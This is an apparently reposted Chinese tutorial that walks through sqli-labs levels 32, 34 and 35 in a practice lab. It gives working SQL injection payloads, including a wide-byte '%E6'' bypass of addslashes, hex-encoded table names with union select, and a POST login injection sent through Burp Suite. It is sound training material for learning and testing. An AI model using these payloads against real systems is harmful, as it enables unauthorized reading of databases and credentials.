当前位置:网站首页>网络安全——函数绕过注入
网络安全——函数绕过注入
2022-07-24 13:32:00 【Beluga】
综合渗透测试-函数绕过注入
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux

Windows 7

第二步,使用Kali Linux访问sqli-lab第32关的页面:
http://172.16.1.200(靶机IP地址)/sqli-labs/Less-32/

第三步,对32关卡进行注入测试:
1. 查看源码(位于C:\AppServ\www\sqli-labs\Less-32\index.php):

源代码中,将输入的id进行了过滤,将危险字符加入了反斜杠进行转义。
addslashes() 会在单引号前加入一个“\”,例如:“I'm hacker” 传入 addslashes(),得到:“I\'m hacker”。
2. 输入id=1,测试页面返回值:
http://172.16.1.200/sqli-labs/Less-32/?id=1

返回了用户ID为1的用户名和密码。
3. 输入单引号测试:
?id=-1'

没有返回结果,但在页面下方可以看到id中的单引号被加入了一个反斜杠,对其进行转义,防止SQL注入。
4. 本题可以使用宽字节绕过:
一个双字节组成的字符,比如一个汉字“我”的 URL 编码为 %E6%88%91 ,当我们使用 ?id=-1%E6' 这样的构造时,单引号 “'” 前面加的反斜杠 “\” 就会和 “%E6” 合在一起,这不是一个正常的汉字,但是起到了注释掉反斜杠 “\” 的作用。
5. 使用宽字节编码绕过:
?id=-1%E6' union select 1,2,database() --+

成功读取当前的数据库名:security。
6. 尝试读取“users”表中的字段名:
?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

报出错误。经过检查,我们发现 'users' 这个部分使用了单引号,导致了错误的发生。
7. 使用十六进制编码就可以绕过单引号的限制,使用MySQL进行16进制转换。在Kali Linux中启动终端,输入:
service mysql restart
mysql -uroot
SELECT HEX('users');

得到16进制结果:7573657273,16进制之前必须加入“0x”才能被MySQL识别为字符串,所以最终的转换结果为:0x7573657273。
8. 将 'users' 替换为16进制:
?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

注入成功。如需进一步注入,也只需要将带单引号的字符串转换为16进制进行注入即可。
第四步,访问第34关卡:
http://172.16.1.200/sqli-labs/Less-34

第五步,打开Kali Linux的终端,启动BurpSuite:
burpsuite &

第六步,进入Proxy标签,在Options中可以看到默认正在监听8080端口:

第七步,在浏览器设置中配置代理



第八步,对34关卡进行注入测试:
1. 34关卡新增了一个登录框,首先我们先输入用户名admin和密码admin测试,并使用Burp Suite抓包:
在数据包中,可以看到通过POST传输的用户名和密码,右键该数据包,发送至重放器(Send to Repeater)

2. 进入Repeater选项卡,点击“Send”按钮查看返回结果

3. 尝试篡改用户名部分,测试是否可以进行SQL注入:
uname=admin%E6' union select 1,database()--+&passwd=admin&submit=Submit

除了修改方法不同之外,我们还是沿用第32关卡的宽字节注入,对其进行数据库字段的获取。
注入成功。
第九步,切换至第35关卡:
http://172.16.1.200/sqli-labs/Less-35/

第十步,尝试对第35关卡进行注入测试:
1. 输入ID为1进行测试:
http://172.16.1.200/sqli-labs/Less-35/?id=1

2. 尝试使用单引号进行注入

报错,出现反斜杠,怀疑使用过滤函数将单引号转义。
3. 尝试使用宽字节进行注入:
?id=1%E6'

宽字节注入失败。
4. 尝试去掉单引号,直接执行SQL语句:
?id=-1 union select 1,2,database() --+

注入成功,本关卡使用数字型id,可以不使用单引号直接进行union联合查询注入。
边栏推荐
- 支持鹏程系列开源大模型应用生态演化的可持续学习能力探索
- 汉字风格迁移篇---用于汉字多字体生成的多样性正则化StarGAN
- About the concept of thread (1)
- LeadTools 22 kit LeadTools super set
- Overview of multi view learning methods based on canonical correlation analysis
- 登临科技联合创始人王平:创新+自研“双核”驱动,GPU+赋能AI落地生根|量子位·视点分享回顾...
- Experience on how to improve the anti-interference of TTL (UART) communication
- DDD based on ABP -- Entity creation and update
- C代码规范
- Mass data excel download - the author of this article only tried to download 510000 data, which took 7 seconds
猜你喜欢

From cloud native to intelligent, in-depth interpretation of the industry's first "best practice map of live video technology"
![[datasheet] interpretation of phy lan8720 network chip](/img/77/b99c926db2c99df32cecb188c1f1e1.png)
[datasheet] interpretation of phy lan8720 network chip

I 用c I 实现 大顶堆

Summary of embedded network problems (packet loss of network card, unrecognized network card)

Chinese character style migration --- diversity regularization stargan for Chinese character multi font generation

HCIP第十三天

Introduction to the use of thread (2) thread

Chinese character style transfer --- unsupervised typesetting transmission

EAS environment structure directory

Redis(13)----浅谈Redis的主从复制
随机推荐
Recommended idling tools | comprehensive comparison of 10 spatial transcriptome deconvolution tools
Activity start (launchactivity/startactivity)_ (1)_ WMS of flow chart
LeadTools 22 kit LeadTools super set
The scroll bar in unity ugui is not displayed from the top when launching the interface in the game
如何画 贝赛尔曲线 以及 样条曲线?
Wang Ping, co-founder of Denglin Technology: Innovation + self research "dual core" drive, gpu+ enabling AI takes root | quantum bit · viewpoint sharing review
Pointer advanced part (1)
How to quickly learn Embedded
C代码规范
The use of two-dimensional array (including the definition of two-dimensional array, the declaration and initialization of two-dimensional array (dynamic initialization, static initialization), common
AtCoder Beginner Contest 261E // 按位思考 + dp
Interface document evolution atlas, some ancient interface document tools, you may not have used them
Kunyu(坤舆) 安装 详解
Are there any useful and free redis client tools recommended?
Redis(13)----浅谈Redis的主从复制
Is there any potential safety hazard for Xiaobai to open an account with Guotai Junan?
【论文阅读】TEMPORAL ENSEMBLING FOR SEMI-SUPERVISED LEARNING
Adjust the array order so that odd numbers precede even numbers
浅谈Node Embedding
Can communication protocol (I)